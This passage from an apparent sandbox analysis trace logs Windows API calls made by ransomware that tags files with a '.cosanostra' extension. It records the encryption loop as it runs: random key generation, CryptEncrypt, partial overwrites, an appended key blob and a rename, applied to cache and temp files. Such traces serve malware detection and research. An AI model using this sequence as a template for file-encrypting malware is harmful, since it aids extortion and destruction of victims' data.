(lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\8059e9a0d314877e40fe93d8ccfb3c69_e907d7a04657714b5b06d18bc920971e"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0102.649] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E") returned 151 [0102.649] StrStrW (lpFirst="8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E", lpSrch=".txt") returned 0x0 [0102.649] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffe31, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.649] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x1cf, lpNumberOfBytesWritten=0x28df4cc, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x28df4cc*=0x1cf, lpOverlapped=0x0) returned 1 [0102.650] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.650] WriteFile (in: hFile=0x15c, lpBuffer=0x28df50c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df4cc, lpOverlapped=0x0 | out: lpBuffer=0x28df50c*, lpNumberOfBytesWritten=0x28df4cc*=0x4, lpOverlapped=0x0) returned 1 [0102.650] WriteFile (in: hFile=0x15c, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df4cc, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df4cc*=0x30, lpOverlapped=0x0) returned 1 [0102.650] CloseHandle (hObject=0x15c) returned 1 [0102.650] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E.cosanostra") returned 162 [0102.650] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\8059e9a0d314877e40fe93d8ccfb3c69_e907d7a04657714b5b06d18bc920971e"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\8059e9a0d314877e40fe93d8ccfb3c69_e907d7a04657714b5b06d18bc920971e.cosanostra")) returned 1 [0102.651] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df510 | out: pbBuffer=0x28df510) returned 1 [0102.651] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df508*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df508*=0x30) returned 1 [0102.651] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\8059e9a0d314877e40fe93d8ccfb3c69_c080da2ae431c1a7f3b0c147eeb043ed"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0102.652] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED") returned 151 [0102.652] StrStrW (lpFirst="8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED", lpSrch=".txt") returned 0x0 [0102.653] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffe31, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.653] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x1cf, lpNumberOfBytesWritten=0x28df4cc, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x28df4cc*=0x1cf, lpOverlapped=0x0) returned 1 [0102.653] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.653] WriteFile (in: hFile=0x15c, lpBuffer=0x28df50c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df4cc, lpOverlapped=0x0 | out: lpBuffer=0x28df50c*, lpNumberOfBytesWritten=0x28df4cc*=0x4, lpOverlapped=0x0) returned 1 [0102.653] WriteFile (in: hFile=0x15c, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df4cc, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df4cc*=0x30, lpOverlapped=0x0) returned 1 [0102.653] CloseHandle (hObject=0x15c) returned 1 [0102.653] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED.cosanostra") returned 162 [0102.653] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\8059e9a0d314877e40fe93d8ccfb3c69_c080da2ae431c1a7f3b0c147eeb043ed"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\8059e9a0d314877e40fe93d8ccfb3c69_c080da2ae431c1a7f3b0c147eeb043ed.cosanostra")) returned 1 [0102.654] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df508 | out: pbBuffer=0x28df508) returned 1 [0102.654] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df500*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df500*=0x30) returned 1 [0102.654] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\8059e9a0d314877e40fe93d8ccfb3c69_74e943f7dab6d19e37e4854057155778"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0102.655] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778") returned 151 [0102.655] StrStrW (lpFirst="8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778", lpSrch=".txt") returned 0x0 [0102.656] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffe31, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.656] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x1cf, lpNumberOfBytesWritten=0x28df4c4, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x28df4c4*=0x1cf, lpOverlapped=0x0) returned 1 [0102.656] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.656] WriteFile (in: hFile=0x15c, lpBuffer=0x28df504*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df4c4, lpOverlapped=0x0 | out: lpBuffer=0x28df504*, lpNumberOfBytesWritten=0x28df4c4*=0x4, lpOverlapped=0x0) returned 1 [0102.657] WriteFile (in: hFile=0x15c, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df4c4, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df4c4*=0x30, lpOverlapped=0x0) returned 1 [0102.657] CloseHandle (hObject=0x15c) returned 1 [0102.657] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778.cosanostra") returned 162 [0102.657] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\8059e9a0d314877e40fe93d8ccfb3c69_74e943f7dab6d19e37e4854057155778"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\8059e9a0d314877e40fe93d8ccfb3c69_74e943f7dab6d19e37e4854057155778.cosanostra")) returned 1 [0102.658] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df508 | out: pbBuffer=0x28df508) returned 1 [0102.658] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df500*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df500*=0x30) returned 1 [0102.658] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\8059e9a0d314877e40fe93d8ccfb3c69_5ea65844b9ef5670a9c002cbd85b10a4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0102.659] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4") returned 151 [0102.659] StrStrW (lpFirst="8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4", lpSrch=".txt") returned 0x0 [0102.659] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffe31, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.659] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x1cf, lpNumberOfBytesWritten=0x28df4c4, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x28df4c4*=0x1cf, lpOverlapped=0x0) returned 1 [0102.660] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.660] WriteFile (in: hFile=0x15c, lpBuffer=0x28df504*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df4c4, lpOverlapped=0x0 | out: lpBuffer=0x28df504*, lpNumberOfBytesWritten=0x28df4c4*=0x4, lpOverlapped=0x0) returned 1 [0102.660] WriteFile (in: hFile=0x15c, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df4c4, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df4c4*=0x30, lpOverlapped=0x0) returned 1 [0102.660] CloseHandle (hObject=0x15c) returned 1 [0102.660] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4.cosanostra") returned 162 [0102.660] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\8059e9a0d314877e40fe93d8ccfb3c69_5ea65844b9ef5670a9c002cbd85b10a4"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\8059e9a0d314877e40fe93d8ccfb3c69_5ea65844b9ef5670a9c002cbd85b10a4.cosanostra")) returned 1 [0102.661] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df500 | out: pbBuffer=0x28df500) returned 1 [0102.661] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df4f8*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df4f8*=0x30) returned 1 [0102.661] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\8059e9a0d314877e40fe93d8ccfb3c69_581c904db5924e46a6c1a8637614a40e"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0102.662] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E") returned 151 [0102.662] StrStrW (lpFirst="8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E", lpSrch=".txt") returned 0x0 [0102.742] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffe31, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.742] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x1cf, lpNumberOfBytesWritten=0x28df4bc, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x28df4bc*=0x1cf, lpOverlapped=0x0) returned 1 [0102.742] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.742] WriteFile (in: hFile=0x15c, lpBuffer=0x28df4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df4bc, lpOverlapped=0x0 | out: lpBuffer=0x28df4fc*, lpNumberOfBytesWritten=0x28df4bc*=0x4, lpOverlapped=0x0) returned 1 [0102.742] WriteFile (in: hFile=0x15c, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df4bc*=0x30, lpOverlapped=0x0) returned 1 [0102.742] CloseHandle (hObject=0x15c) returned 1 [0102.797] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E.cosanostra") returned 162 [0102.797] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\8059e9a0d314877e40fe93d8ccfb3c69_581c904db5924e46a6c1a8637614a40e"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\8059e9a0d314877e40fe93d8ccfb3c69_581c904db5924e46a6c1a8637614a40e.cosanostra")) returned 1 [0103.487] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df4e8 | out: pbBuffer=0x28df4e8) returned 1 [0103.487] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df4e0*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df4e0*=0x30) returned 1 [0103.487] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\W 4QA 0tH10.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\w 4qa 0th10.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0103.488] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\W 4QA 0tH10.m4a") returned 68 [0103.488] StrStrW (lpFirst="W 4QA 0tH10.m4a", lpSrch=".txt") returned 0x0 [0103.489] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.489] WriteFile (in: hFile=0x160, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df4a4, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x28df4a4*=0x2800, lpOverlapped=0x0) returned 1 [0103.489] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.489] WriteFile (in: hFile=0x160, lpBuffer=0x28df4e4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df4a4, lpOverlapped=0x0 | out: lpBuffer=0x28df4e4*, lpNumberOfBytesWritten=0x28df4a4*=0x4, lpOverlapped=0x0) returned 1 [0103.489] WriteFile (in: hFile=0x160, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df4a4, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df4a4*=0x30, lpOverlapped=0x0) returned 1 [0103.489] CloseHandle (hObject=0x160) returned 1 [0103.490] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\W 4QA 0tH10.m4a.cosanostra") returned 79 [0103.490] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\W 4QA 0tH10.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\w 4qa 0th10.m4a"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\W 4QA 0tH10.m4a.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\w 4qa 0th10.m4a.cosanostra")) returned 1 [0103.491] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df4e0 | out: pbBuffer=0x28df4e0) returned 1 [0103.491] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df4d8*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df4d8*=0x30) returned 1 [0103.491] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\vX3Tfu.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\vx3tfu.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0103.491] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\vX3Tfu.jpg") returned 63 [0103.491] StrStrW (lpFirst="vX3Tfu.jpg", lpSrch=".txt") returned 0x0 [0103.492] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.492] WriteFile (in: hFile=0x160, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df49c, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x28df49c*=0x2800, lpOverlapped=0x0) returned 1 [0103.492] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.492] WriteFile (in: hFile=0x160, lpBuffer=0x28df4dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df49c, lpOverlapped=0x0 | out: lpBuffer=0x28df4dc*, lpNumberOfBytesWritten=0x28df49c*=0x4, lpOverlapped=0x0) returned 1 [0103.492] WriteFile (in: hFile=0x160, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df49c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df49c*=0x30, lpOverlapped=0x0) returned 1 [0103.492] CloseHandle (hObject=0x160) returned 1 [0103.492] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\vX3Tfu.jpg.cosanostra") returned 74 [0103.492] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\vX3Tfu.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\vx3tfu.jpg"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\vX3Tfu.jpg.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\vx3tfu.jpg.cosanostra")) returned 1 [0103.493] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df4e0 | out: pbBuffer=0x28df4e0) returned 1 [0103.493] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df4d8*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df4d8*=0x30) returned 1 [0103.493] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\VTsqQ10KfEs84e.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\vtsqq10kfes84e.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0103.493] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\VTsqQ10KfEs84e.wav") returned 71 [0103.494] StrStrW (lpFirst="VTsqQ10KfEs84e.wav", lpSrch=".txt") returned 0x0 [0103.494] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.494] WriteFile (in: hFile=0x160, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df49c, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x28df49c*=0x2800, lpOverlapped=0x0) returned 1 [0103.494] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.494] WriteFile (in: hFile=0x160, lpBuffer=0x28df4dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df49c, lpOverlapped=0x0 | out: lpBuffer=0x28df4dc*, lpNumberOfBytesWritten=0x28df49c*=0x4, lpOverlapped=0x0) returned 1 [0103.494] WriteFile (in: hFile=0x160, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df49c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df49c*=0x30, lpOverlapped=0x0) returned 1 [0103.494] CloseHandle (hObject=0x160) returned 1 [0103.495] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\VTsqQ10KfEs84e.wav.cosanostra") returned 82 [0103.495] MoveFileW 